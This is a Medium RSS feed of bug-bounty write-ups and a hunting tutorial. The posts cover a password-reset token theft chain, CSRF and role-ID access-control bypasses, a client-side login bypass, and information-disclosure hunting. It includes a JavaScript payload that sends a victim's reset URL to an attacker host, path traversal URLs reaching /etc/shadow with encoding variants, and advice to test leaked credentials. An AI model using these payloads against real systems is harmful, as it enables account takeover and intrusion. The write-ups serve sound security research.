<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Zeno on Medium]]></title>
        <description><![CDATA[Stories by Zeno on Medium]]></description>
        <link>https://medium.com/@Zeno0?source=rss-165f062b394b------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*rKAeezo44hVyfeGXkiOghQ.jpeg</url>
            <title>Stories by Zeno on Medium</title>
            <link>https://medium.com/@Zeno0?source=rss-165f062b394b------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 23:58:34 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Zeno0/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Exploiting Open Redirect & XSS in Password Reset Flow]]></title>
            <link>https://medium.com/@Zeno0/exploiting-open-redirect-xss-in-password-reset-flow-de871117e2e3?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/de871117e2e3</guid>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Mon, 08 Sep 2025 11:44:38 GMT</pubDate>
            <atom:updated>2025-09-08T11:44:38.229Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X2oYcp6fW3xAgO13BJpAXg.jpeg" /><figcaption>Solo Hunter</figcaption></figure><p><strong>My name is Abdulrahman, I work as a bug hunter Full Time</strong></p><h3>Summary</h3><p>Password Reset Token Theft → One_Click account takeover</p><p>Exploitable chain of vulnerabilities:</p><p>Password reset poisoning via <strong>hostName</strong> parameter</p><p>Open Redirect in /signin-oidc?<strong>returnUrl</strong></p><p><strong>XSS</strong> in <strong>returnUrl</strong> parameter</p><p>High impact: attacker can compromise arbitrary accounts with only the victim’s email.</p><h3>Let’s get started</h3><p>When I start testing any website, I usually begin with its <strong>authentication mechanisms</strong></p><p>Let’s name the application <strong>“Example.com”</strong>.<br> While exploring the application, I found that it uses two types of login: the first was to log in with a personal account, and the other was with an organizational account.</p><p>I quickly created an account and started testing the “forgot password” function. I sent a password reset request and received a link to change the password. I copied it from the email inbox, opened it in a browser, and started changing the password.</p><p>After the entire process was completed, I went to Burp History to check the password reset requests, and everything seemed normal. But when I reviewed the request that sends the reset link, I noticed a parameter in the request body called ‘’<strong>hostName’’</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdh_3dy7bi5r1CqGt0ZkzQ.png" /></figure><p>I sent the same request again, hoping that the value of the <strong>hostName</strong> parameter would be reflected in the password reset link. I received another link to change the password. I compared the reset password domain with the value of the <strong>hostName</strong> parameter and found that they were completely identical.</p><pre>https://www.example.com/reset/login&amp;token=xxxxxx&amp;utm_campaign=e201201-nlxx-anv-noc--passwordreset&amp;utm_source=newsletter&amp;utm_medium=tnx</pre><p>I tried to inject my own server into the <strong>hostName</strong> parameter, but there was a whitelist that prevented tampering with the domain value. Then I thought of tampering with the path. I changed the <strong>hostName</strong> parameter value to ‘’<a href="https://example.com/home"><strong>https://example.com/home</strong></a><strong>’’</strong> and the request succeeded. I went to the mailbox, clicked on the link to change the password, and the command succeeded. Instead of directing me to <strong>/reset/login</strong>, I was directed to <strong>/home</strong>.</p><pre>https://www.example.com/home/reset/login&amp;token=xxxxx&amp;utm_campaign=e201201-nlxx-anv-noc--passwordreset&amp;utm_source=newsletter&amp;utm_medium=tnx</pre><p>At that moment, I thought: <em>what if I could find an endpoint vulnerable to an open redirect?</em><br> If such an endpoint existed, I could try to route the password reset request through it while manipulating the <strong>hostName</strong> parameter. This might allow me to leak the password reset token. Without wasting time, I started running commands to collect potential URLs.I quickly ran two tools: gau and waybackurls.</p><pre>( gau example.com; echo &quot;example.com&quot; | waybackurls ) | sort -u &gt; urls.txt</pre><p>I used this command to extract parameters that might be exposed to an open redirect vulnerability.</p><pre>grep -Ei &#39;(\?|&amp;)(redirect|redirecturl|redirect_uri|return|returnurl|return_uri|url=|next|nexturl|dest|destination|goto|jump|continue|continueurl|forward|forwardurl|target|out|path|view|r=|u=|domain|service|callback|callbackurl|returnto|post_logout_redirect_uri|RelayState)&#39; urls.txt</pre><p>After searching for several hours, he was able to find an open redirect to an endpoint specific to OpenID Connect.</p><p>‘’https://www.example.com/signin-oidc?returnUrl=https://www.test.com&amp;code=9&amp;scope=openid%20profile%20mobile_scope%20offline_access&amp;state=afdsdfs&amp;session_state=fsaf’’</p><p>The affected part was parameter ‘’<strong>ruteunUrl</strong>.’’</p><p>I went back to the <strong>forgot password</strong> request again and modified the <strong>hostName</strong> parameter to be like this:</p><pre>POST /api/User/Password/Reset HTTP/1.1<br>Host: admin.example.com<br><br>{<br>&quot;email&quot;:&quot;victim@mail.com&quot;,<br>&quot;hostName&quot;:&quot;https://www.example.com/signin-oidc?returnUrl=https://*.oast.pro&quot;,<br>&quot;countryCode&quot;:&quot;nl&quot;,<br>&quot;languageCode&quot;:&quot;en&quot;<br>}</pre><p>Then I sent the request again and received a new link to change the password. I clicked on the link and was redirected to the <strong>Burp Collaborator</strong>.</p><p>I checked the <strong>Collaborator log</strong>, but I didn’t find the token. Instead, I only saw the following path:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U86UajPurIKFmH2MyJypLg.png" /></figure><p>After several attempts to understand what happened, I did not reach anything new.</p><p>I thought again: <em>what if I could trigger an XSS in the </em><em>returnUrl parameter?</em><br> To test this, I tried a payload like:</p><pre>https://www.example.com/signin-oidc?returnUrl=javascript:alert();//</pre><p>I sent the reset password link to the victim’s account, then went to the link to reset password. I clicked on it, and it was a big surprise…</p><h4><strong>Boooom 💥 → alert popped up!</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o1nr32pVINYJhVrcPpXUpA.png" /><figcaption>Aleeeeeeeeeert</figcaption></figure><h3>And now</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*eG3w49jCnAUAXYKyUzR14w.gif" /></figure><p>I wrote a payload that extracts the full URL and sends it to my server.</p><pre>returnUrl=javascript:fetch(&#39;https://*.oast.pro/log?u=&#39;+encodeURIComponent(location.href));//</pre><p>When the victim clicks on the <strong>reset password</strong> link, the payload is executed, capturing the full URL and sending it to the attacker’s server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BknFPxCSgbaA8J94CN7eyg.png" /></figure><p>I received a link to reset password and clicked on it and I monitored the burp collaborator log.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G1dDX5aN1EGvpf_TzvqoOw.png" /><figcaption>execute Payload and send the reset password link to my server.</figcaption></figure><p>I extracted the victim’s token from the log and used it to send a request for setting a new password — and it worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wXtUUJeeQJhkipPYSn0KKg.png" /></figure><h4>In the end, the victim’s account was completely hijacked with just <strong>one click</strong>.</h4><h3><strong>Impact</strong></h3><h4>Full account takeover of any user with just one click</h4><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=de871117e2e3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Analyst Can Invite Users — Role-Based Access Control Bypass]]></title>
            <link>https://medium.com/@Zeno0/analyst-can-invite-users-role-based-access-control-bypass-bb2aa3884622?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/bb2aa3884622</guid>
            <category><![CDATA[broken-access-control]]></category>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Fri, 18 Jul 2025 00:20:05 GMT</pubDate>
            <atom:updated>2025-07-18T00:20:05.908Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6tLk6s-XMw8zRl3IAjxUhg.jpeg" /></figure><h3>Analyst Can Invite Users — Role-Based Access Control Bypass</h3><h3>Summary</h3><p>So I was playing around on <a href="https://fivetran.com/">t</a>est.com one evening, just casually exploring the platform. I created a new account, set up an organization, and invited another email to join as an <strong>Analyst</strong> — you know, the usual low-privilege role.</p><p>Out of curiosity, I logged in with the Analyst account and went to the <strong>Users &amp; Permissions</strong> page. As expected, there was no <strong>“Invite User”</strong> button. All good so far. But I started wondering…</p><blockquote>“What if I just replay the same request the Admin makes to invite someone, but with the Analyst’s session instead?</blockquote><h3>Steps to Reproduce</h3><ol><li>Created a new org using my Admin account</li><li>Invited a second email and gave it <strong>Analyst</strong> permissions</li><li>Logged in using the Analyst account and noted:No invite button (UI restriction )</li><li>But still had access to some requests being made in the background</li><li>So I refreshed the page, opened Burp Suite, and grabbed a request that included the Analyst’s session toke</li></ol><pre>Cookie: auth=ANALYST_TOKEN; X-CSRF-TOKEN=abc123; I saved that for later.</pre><p>6. I switched back to the Admin account and went to <strong>Users &amp; Permissions</strong> again, clicked on <strong>Invite User</strong>, and captured the exact POST request being sent when inviting someone:</p><pre>POST /_/api/users/create-multiple-users HTTP/2<br>Host: test.com<br>Cookie: auth=ADMIN_TOKEN; X-CSRF-TOKEN=123aa<br>X-Csrf-Token: 123aa<br><br>[{&quot;email&quot;:&quot;test@gmail.com&quot;,&quot;givenName&quot;:&quot;hacker&quot;,&quot;familyName&quot;:&quot;test&quot;}]</pre><blockquote>I took that exact same request and made two small edits:</blockquote><p>7. Replaced the Admin token with the Analyst’s token</p><p>8. Set both X-Csrf-Token <strong>and</strong> the cookie X-CSRF-TOKEN to the same value (&quot;q&quot;)</p><pre>Cookie: auth=ANALYST_TOKEN; X-CSRF-TOKEN=q<br>X-Csrf-Token: q<br>The server was checking</pre><ul><li><strong>Weak CSRF</strong>: All it took to bypass CSRF protection was setting matching values in the header and cookie. There is no full verification of the Csrf token.</li></ul><blockquote><strong><em>The server was only checking if the CSRF token in the header matched the one in the cookie. If the two values were equal, the request was accepted. If they were different — even if the token was valid — the request was rejected. Surprisingly, using two identical but completely arbitrary values (like </em></strong><strong><em>&quot;q&quot;) allowed the request to go through successfully.</em></strong></blockquote><h4>Sent the request… and 💥 it worked. The server responded with <strong>200 OK</strong>, and the user was successfully invited.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UrPgNHjzSm1DvNrySR5LJw.jpeg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bb2aa3884622" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Privilege Escalation via Role Manipulation]]></title>
            <link>https://medium.com/@Zeno0/privilege-escalation-via-role-manipulation-ce73e54f83f0?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/ce73e54f83f0</guid>
            <category><![CDATA[broken-access-control]]></category>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Sun, 13 Jul 2025 06:52:13 GMT</pubDate>
            <atom:updated>2025-08-03T12:24:34.540Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7satzxm9NPj_8EAyXyKL-w.jpeg" /></figure><h3>Introduction</h3><p>During my testing on test.com I discovered a <strong>critical access control vulnerability</strong> that allows users with limited privileges (Editors) to <strong>bypass role assignment restrictions</strong> and assign <strong>Admin-level custom roles</strong> to other users via a simple API tampering technique.</p><p>This flaw breaks the core <strong>authorization model</strong> of the application and could allow attackers to gain full control of an organization without proper approval.</p><h3>Understanding the Logic Flaw</h3><p>In test.com, Admins can create custom roles with high-level permissions ( roles that can manage users, data sources, or system settings). Editors, by design, <strong>should not</strong> be able to assign or manage these custom roles.</p><p>However, by capturing and modifying a specific HTTP request during the <strong>user invitation flow</strong>, an Editor can assign <strong>any custom role</strong> — including Admin-level — to a user, before that user accepts the invitation.</p><h3>Steps to Reproduce</h3><ol><li>Create and verify a workspace as an <strong>Admin</strong>.</li><li><strong>Invite an Editor</strong></li><li>Create a new <strong>custom role</strong> and assign it <strong>Admin-level permissions</strong>(Manager)</li><li><strong>Log in as the Editor (</strong>The editor can invite two types of roles: viewer and operator.<strong>)</strong></li><li>Navigate to: Settings &gt; Invite User</li></ol><p>(When I wanted to test inviting a user from the beginning with special privileges, the server was checking the invitation request, but after inviting the user, I was able to manipulate the user’s role )</p><p>6. Invite a new user (Attacker) and assign them the default <strong>Viewer</strong> role. (Do <strong>not</strong> accept the invitation yet)</p><p>## I did not accept the invitation because after accepting the invitation the server was checking the request change role so I could not raise the privileges of user in this case</p><p>7. when trying to change the new user’s role (Attacker) capture the request.</p><pre>POST /api/workspace_invitations/42857/update_role HTTP/2<br>Host: app.test.com<br>Authorization: Bearer &lt;Editor_Token&gt;<br>Content-Type: application/json<br><br>{&quot;role_id&quot;: 3274434} -&gt; {&quot;role_id&quot;:custom_role_id}</pre><p><strong>8. Modify the Role ID</strong></p><ul><li>Replace role_id with the <strong>ID of the custom Admin-level role</strong> you created earlier Forward the modified request to the server.</li></ul><h4>The role_id needed for exploitation can be obtained easily by visiting:</h4><pre>GET /api/workspaces/&lt;workspace_id&gt;/roles<br><br>----<br>  {<br>    &quot;role_id&quot;: 4561,<br>    &quot;is_custom_role&quot;: true<br>  },</pre><p>9. Go to the invited user’s email(Attacker), accept the invitation.</p><ul><li>Now this user will be added <strong>with the custom Admin role</strong>.</li></ul><h3>🛡️ Recommended Fix</h3><ol><li><strong>Enforce Role-Based Access control on Server-Side</strong><br> The backend must enforce strict role assignment rules by:</li></ol><ul><li>Validating whether the <strong>acting user</strong> (Editor) has sufficient permissions to <strong>assign the requested </strong><strong>role_id</strong>.</li><li>Rejecting any request that attempts to assign roles outside the user’s allowed scope, even if the request looks legitimate.</li></ul><h4>2. Audit Historical Invitations and Role Assignments</h4><ul><li>Conduct a review of all pending and recent invitations.</li><li>Look for cases where Editors or non-Admins assigned high-privilege roles.</li><li>Revoke or downgrade any unauthorized role assignments.</li><li>k if any roles were wrongly assigned by Editors before this fix.</li></ul><h3>Final Thoughts</h3><p>This vulnerability shows how <strong>minor oversights in authorization logic</strong> can lead to <strong>full privilege escalation</strong> in multi-user applications. Always validate user permissions <strong>on the server</strong>, especially when handling sensitive operations like <strong>role or permission management</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ce73e54f83f0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bypass Grafana login page by reading files JavaScript]]></title>
            <link>https://medium.com/@Zeno0/bypass-grafana-login-page-by-reading-files-javascript-d410e55e2e11?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/d410e55e2e11</guid>
            <category><![CDATA[authentication-bypass]]></category>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Tue, 03 Jun 2025 11:35:33 GMT</pubDate>
            <atom:updated>2025-08-06T23:32:05.669Z</atom:updated>
            <content:encoded><![CDATA[<p>سلام عليكم ورحمة الله وبركاته —</p><p><em>اللهم علمنا ما ينفعنا</em>، <em>وانفعنا بما علمتنا</em>، وزدنا علما “سُبْحَانَكَ لا عِلْمَ لَنَا إِلَّا مَا عَلَّمْتَنَا إِنَّكَ أَنْتَ الْعَلِيمُ الْحَكِيمُ”</p><p>First, let me introduce myself. My name is Abdulrahman. I work full-time as a bug hunter.</p><p>Summary:<br>I was able to bypass a login page by reading the JavaScript files and this gave me full control over the notification and monitoring system of the application</p><p>Let’s know what Grafana:<br>Grafana is an open-source tool used for data visualization, monitoring, and analysis. It is commonly used in the field of system and infrastructure monitoring, allowing users to create interactive dashboards to display data from various sources such as databases and monitoring systems like Prometheus, InfluxDB</p><p>Let’s name domain <a href="https://example.com/grafana">https://</a><a href="https://example.com/grafana">grafana</a>.<a href="https://example.com/grafana">example.com</a><br>Before I found this vulnerability I had found endpoints in the same domain that had no authentication checks and this made me think about bypassing the login page.</p><p>I started reading the JavaScript files and found that when verifying the authentication process, it directs to the control page and it was called dashboard dashboard I tried to manipulate the response, Use default credentials, so I said why not put the direction point as an endpoint.</p><p>I have re-read the JavaScript file and found that it is being routed through this. Below is a simple code snippet to illustrate the issue and explain where the problem lies</p><pre>document.addEventListener(&quot;DOMContentLoaded&quot;, function () {<br>    let isAuthenticated = localStorage.getItem(&quot;authenticated&quot;);<br>    <br>    if (isAuthenticated) {<br>        window.location.hash = &quot;#/dashboard&quot;;<br>    }<br>    document.getElementById(&quot;loginBtn&quot;).addEventListener(&quot;click&quot;, function () {<br>        let username = document.getElementById(&quot;username&quot;).value;<br>        let password = document.getElementById(&quot;password&quot;).value;<br>        if (username &amp;&amp; password) {<br>            localStorage.setItem(&quot;authenticated&quot;, &quot;true&quot;); <br>            window.location.hash = &quot;#/dashboard&quot;; <br>        }<br>    });<br>});</pre><blockquote><em>Authentication is done only through Client side, without any server verification.<br>An attacker can directly skip login by entering the following link:<br>https://</em><a href="https://example.com/grafana/#/dashboard">grafana</a>.<em>example.com/#/dashboard</em></blockquote><p>I tried to exploit this idea and did something like this: <br><a href="https://example.com/grafana/#/dashboard">https://</a><a href="https://example.com/grafana/#/dashboard">grafana</a>.<a href="https://example.com/grafana/#/dashboard">example.com/#/dashboard</a> <br> I was able to log in without any kind of authentication.</p><blockquote><em>The main flaw here is that the application was relying only on the client-side for authentication verification, which made it vulnerable to being easily bypassed</em></blockquote><p>The necessary precautions to be taken in these cases <br>1-The backend must play an important role in the authentication verification process .</p><p>2- Use a token (JWT or other final verification system) as it is used in each request.</p><p>3- Disable unauthorized client-side routing unless authentication is verified by the server</p><p>-This vulnerability is a clear example of the risks of relying on front-end authentication verification only. Security teams must ensure that all identity verification is done on the server to ensure data and system protection.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d410e55e2e11" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Information Disclosure Vulnerabilities]]></title>
            <link>https://medium.com/@Zeno0/information-disclosure-vulnerabilities-320bea990365?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/320bea990365</guid>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Thu, 27 Feb 2025 12:44:50 GMT</pubDate>
            <atom:updated>2025-02-27T12:44:50.664Z</atom:updated>
            <content:encoded><![CDATA[<h3>Types of Information Disclosure and How They Occur:</h3><p>These vulnerabilities can occur in many ways depending on the type of application. The blog focuses on specific methods that can leak data from an application and how you can increase your chances of finding these vulnerabilities yourself. , but here the goal is to extract sensitive and private information using those techniques.</p><h3>Definition of Information Disclosure:</h3><p>Information disclosure happens when an application fails to properly protect sensitive information, allowing users to access data they shouldn’t be able to see. This sensitive information can include:</p><ul><li><strong>Technical details</strong> that assist in attacks, such as:</li><li>Software version numbers.</li><li>Internal IP addresses.</li><li>Sensitive filenames or filepaths.</li><li><strong>Source code</strong>, which, if leaked, gives attackers the opportunity to review the code and search for vulnerabilities in it.</li><li><strong>User-specific private information</strong>, such as:</li><li>Age.</li><li>Bank account numbers.</li><li>Email addresses.</li><li>Mailing addresses.</li></ul><h3>Why Do Applications Protect This Information?</h3><p>Most systems try to hide development-related information (like software version numbers and configuration files) from the outside world because if attackers gain access to it, they can use it to plan their attacks. For example:</p><ul><li>If they know the exact software version, they can search for publicly disclosed vulnerabilities tied to that version.</li><li>Configuration files often contain things like access tokens or internal IP addresses, which help attackers further compromise the organization.</li></ul><h3>Methods of Information Disclosure:</h3><ol><li><strong>Leaking Version Numbers:</strong></li></ol><ul><li>This typically happens in HTTP response headers, HTTP response bodies, or other server responses.</li><li>Example: The “X-Powered-By” header reveals the framework the application uses, such as: This lets the attacker know the application is running on PHP version 5.2.17.</li><li>X-Powered-By: PHP/5.2.17</li></ul><ol><li><strong>Leaking Sensitive Configuration Files:</strong></li></ol><ul><li>This occurs when the application doesn’t enforce proper access control on these files.</li><li>Or when a sensitive file is accidentally uploaded to a public repository that outsiders can access.</li></ul><p><strong>2. Leaking Source Code:</strong></p><p>Applications protect backend code because if it leaks, attackers can understand the application’s logic and look for:</p><ul><li>Logic flaws.</li><li>Hardcoded credentials stored in the code.</li><li>Information about the company’s internal infrastructure, like internal IP addresses.</li><li>Source code can leak when:</li><li>A private code repository is accidentally published.</li><li>Code snippets are shared on public repositories like GitHub or GitLab.</li><li>It’s uploaded to sites like Pastebin.</li></ul><p><strong>3. Leaking Sensitive Information in Public Code:</strong></p><p>Developers might accidentally include things like:</p><ul><li>Credentials.</li><li>Internal IP addresses.</li><li>Informative code comments.</li><li>Users’ private information.</li><li>This happens in public code, such as HTML or JavaScript files, that are served to users</li></ul><h3>Prevention</h3><p>It’s difficult to completely prevent sensitive information leaks, but you can reliably reduce the chances of information disclosure by protecting your data during the development process.</p><h3>Key Prevention Measures:</h3><ol><li><strong>Avoid Hardcoding Sensitive Data in Executable Code:</strong></li></ol><ul><li>The most important step you should take is to avoid writing credentials or other sensitive information directly into the code that gets executed.</li><li>Instead, store sensitive information in separate configuration files or a secret storage system like Vault (link: <a href="https://github.com/hashicorp/vault/">https://github.com/hashicorp/vault/</a>).</li></ul><p><strong>2. Review Public Code Repositories:</strong></p><ul><li>Periodically audit your public code repositories to ensure no sensitive files have been accidentally uploaded.</li><li>There are tools that can help you monitor code for secrets, such as “secret-bridge” (link: <a href="https://github.com/duo-labs/secret-bridge/">https://github.com/duo-labs/secret-bridge/</a>).</li></ul><p><strong>3. Control Access to Sensitive Files:</strong></p><ul><li>If you need to upload sensitive files to the production server, apply granular access control to limit users’ access to those files.</li></ul><p><strong>4. Remove Technical Details from Responses:</strong></p><ul><li>Eliminate any data from services or server responses that reveals technical details about the backend server setup or software versions.</li></ul><p><strong>5. Handle Errors Securely:</strong></p><ul><li>When exceptions occur, return a generic error page to the user instead of a technical page with details about the error, so you don’t expose unnecessary information.</li></ul><h3>Hunting for Information Disclosure Vulnerabilities</h3><p>There are several strategies you can use to find information disclosure vulnerabilities, depending on the application you’re targeting and what you’re looking for. A good starting point is to search for software version numbers and configuration information using the reconnaissance techniques (Recon Techniques) . After that, start looking for exposed configuration files, database files, and other sensitive files uploaded to the production server that aren’t protected. The following steps explain some techniques you can try.</p><h3>Step 1: Attempt a Path Traversal Attack</h3><p>Begin by attempting a path traversal attack to read the server’s sensitive files. A path traversal attack is used to access files outside the web application’s root folder (Web Root). This process involves manipulating the filepath variables that the application uses to reference files by adding the “../” sequence to them. This sequence refers to the parent directory of the current directory in Unix systems, so by adding it to a filepath, you can often reach files outside the web root.</p><h3>Example:</h3><p>Suppose a website allows you to load an image from the application’s image folder using a relative URL. An absolute URL contains the full address, from the protocol to the domain name and resource pathnames. A relative URL, on the other hand, contains only a portion of the full URL, typically just the path or filename of the resource. Relative URLs are used to link to another location on the same domain.</p><p>For instance, this URL redirects users to <a href="https://example.com/images/1.png:">https://example.com/images/1.png:</a></p><p><a href="https://example.com/image?url=/images/1.png">https://example.com/image?url=/images/1.png</a></p><p>In this case, the “url” parameter contains a relative URL (/images/1.png) that references files within the web application’s root. You can insert the “../” sequence to try to navigate out of the images folder and out of the web root.</p><h3>Examples:</h3><ul><li>This URL points to the “index.html” file in the web application’s root folder (outside the images folder):</li><li><a href="https://example.com/image?url=/images/../index.html">https://example.com/image?url=/images/../index.html</a></li><li>This URL accesses the “/etc/shadow” file in the server’s root directory, a file that stores a list of the system’s user accounts and their encrypted passwords:</li><li><a href="https://example.com/image?url=/images/../../../../../../../etc/shadow">https://example.com/image?url=/images/../../../../../../../etc/shadow</a></li></ul><h3>Notes:</h3><ul><li>It might take some trial and error to determine how many “../” sequences you need to reach the system’s root directory.</li><li>If the application has input validation and doesn’t allow “../” in the filepath, you can use encoded variations of “../”, such as:</li><li>%2e%2e%2f (standard URL encoding).</li><li>%252e%252e%255f (double URL encoding).</li><li>..%2f (partial URL encoding).</li></ul><h3>Step 2: Search the Wayback Machine</h3><p>Another way to find exposed files is by using the “Wayback Machine.” , the Wayback Machine is an online archive that shows what websites looked like at various points in the past. You can use it to find hidden or deprecated endpoints, as well as a large number of current endpoints, without actively crawling the site yourself. This makes it a great initial way to see what the application might be exposing.</p><h3>How to Search in the Wayback Machine:</h3><ul><li>Visit the Wayback Machine’s website and search for a domain to view its past versions.</li><li>To search for a domain’s files, go to this URL:</li><li><a href="https://web.archive.org/web/*/DOMAIN">https://web.archive.org/web/*/DOMAIN</a></li><li>Add “/*” to the URL to get a list of archived URLs related to the domain. For example: This URL will return a list of URLs related to <a href="http://example.com/">example.com</a>, and you’ll see them displayed on the Wayback Machine’s page (Figure 21–1).</li><li><a href="https://web.archive.org/web/*/example.com/*">https://web.archive.org/web/*/example.com/*</a></li></ul><h3>How to Use the Search Function:</h3><ul><li>After retrieving the URLs, use the search feature to check if any sensitive pages have been archived.</li><li>For example, if you want to look for admin pages, search for the term “/admin” within the URLs you found (Figure 21–2).</li><li>You can also search for backup files and configuration files using common file extensions like:</li><li>.conf (Figure 21–3).</li><li>.env</li></ul><p>Or look for source code, such as JavaScript or PHP files, using extensions like:</p><ul><li>.js.</li><li>.php.</li></ul><h3>Analyzing Archived Pages:</h3><ul><li>Download any archived pages that seem interesting and look for sensitive information. Ask yourself:</li><li>Are there any hardcoded credentials that are still in use?</li><li>Does the page reveal hidden endpoints that regular users shouldn’t know about?</li></ul><h3>Step 3: Search Paste Dump Sites</h3><p>The next step is to search paste dump sites like Pastebin and GitHub Gists. These sites allow users to share text documents via a direct link instead of using email or services like Google Docs. Because of this, developers often use them to send source code, configuration files, or log files to their colleagues. However, on a site like Pastebin, for example, shared text files are public by default. If a developer uploads a sensitive file, anyone can read it. For this reason, these code-sharing sites have become notorious for leaking credentials like API keys and passwords.</p><h3>Searching in Pastebin:</h3><ul><li>Pastebin has an API that lets users search for public paste files using a keyword, email, or domain name.</li><li>You can use this API to find sensitive files related to a specific organization.</li><li>Tools like PasteHunter or pastebin-scraper can help automate this process.</li></ul><h3>Pastebin-Scraper Tool:</h3><ul><li>This tool (link: <a href="https://github.com/streaak/pastebin-scraper/">https://github.com/streaak/pastebin-scraper/</a>) uses Pastebin’s API to assist you in searching for paste files.</li><li>It’s a shell script, so download it to a local directory on your device and run the following command to search for public paste files associated with a specific keyword:</li><li>./scrape.sh -g KEYWORD</li><li>The “-g” option indicates a general keyword search.</li></ul><h3>Results:</h3><ul><li>This command will return a list of Pastebin file IDs associated with the keyword you specified.</li><li>You can access these files by visiting: where “ID” is the identifier returned by the command.</li><li>pastebin.com/ID</li></ul><h3>Step 5: Find Information in Public Files</h3><p>You can also try to find information leaks in the application’s public files, such as HTML and JavaScript code. In my experience, JavaScript files are a very rich source of information leaks!</p><h3>How to Start:</h3><ul><li>Browse the web application you’re targeting as a regular user, and take note of where the application displays or uses your personal information.</li><li>Right-click on those pages and select “View Page Source.” You’ll see the HTML source code of the current page.</li><li>Follow the links on that page to find other HTML and JavaScript files the application is using.</li><li>In the HTML and JavaScript files you find, search every page for hardcoded credentials, API keys, or personal information using keywords like “password” and “api_key.”</li></ul><h3>Helpful Tools:</h3><ul><li>You can locate JavaScript files on a site using tools like LinkFinder (link: <a href="https://github.com/GerbenJavado/LinkFinder/">https://github.com/GerbenJavado/LinkFinder/</a>).</li></ul><h3>Escalating the Attack</h3><p>After finding a sensitive file or piece of sensitive data, you need to determine its impact before reporting it.</p><h3>How to Assess the Impact:</h3><ul><li>If you find credentials like a password or an API key, you must verify they’re currently in use by attempting to access the target system with them. I often find outdated credentials that can’t be used to access anything; in that case, the information leak doesn’t count as a vulnerability.</li><li>If the sensitive files or credentials you’ve found are valid and current, consider how you can compromise the application’s security with them. For example:</li><li>If you find a GitHub access token, you could potentially tamper with the organization’s projects and access their private repositories.</li><li>If you uncover a password to their admin portals, you might be able to leak their customers’ private information.</li><li>If you can access the “/etc/shadow” file on a target server, you might be able to crack the system users’ passwords and take over the system!</li></ul><h3>Reporting the Leak:</h3><ul><li>Reporting an information leak often involves explaining its impact to companies, highlighting the severity of the leaked information.</li></ul><h3>Escalating the Vulnerability:</h3><ul><li>If the impact of the information you found isn’t particularly significant, you can look for ways to escalate the vulnerability by chaining it with other security issues. For example:</li><li>If you can leak internal IP addresses within the target’s network, use them to pivot inside the network during an SSRF exploit.</li><li>If you identify the exact software version numbers the application is running, check if there are any CVEs (known vulnerabilities) related to that version that you can exploit to achieve remote code execution (RCE).</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=320bea990365" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Template Injection with Python and Jinja2]]></title>
            <link>https://medium.com/@Zeno0/exploiting-template-injection-with-python-and-jinja2-4a607d212f96?source=rss-165f062b394b------2</link>
            <guid isPermaLink="false">https://medium.com/p/4a607d212f96</guid>
            <dc:creator><![CDATA[Zeno]]></dc:creator>
            <pubDate>Tue, 25 Feb 2025 15:48:17 GMT</pubDate>
            <atom:updated>2025-02-25T15:48:17.286Z</atom:updated>
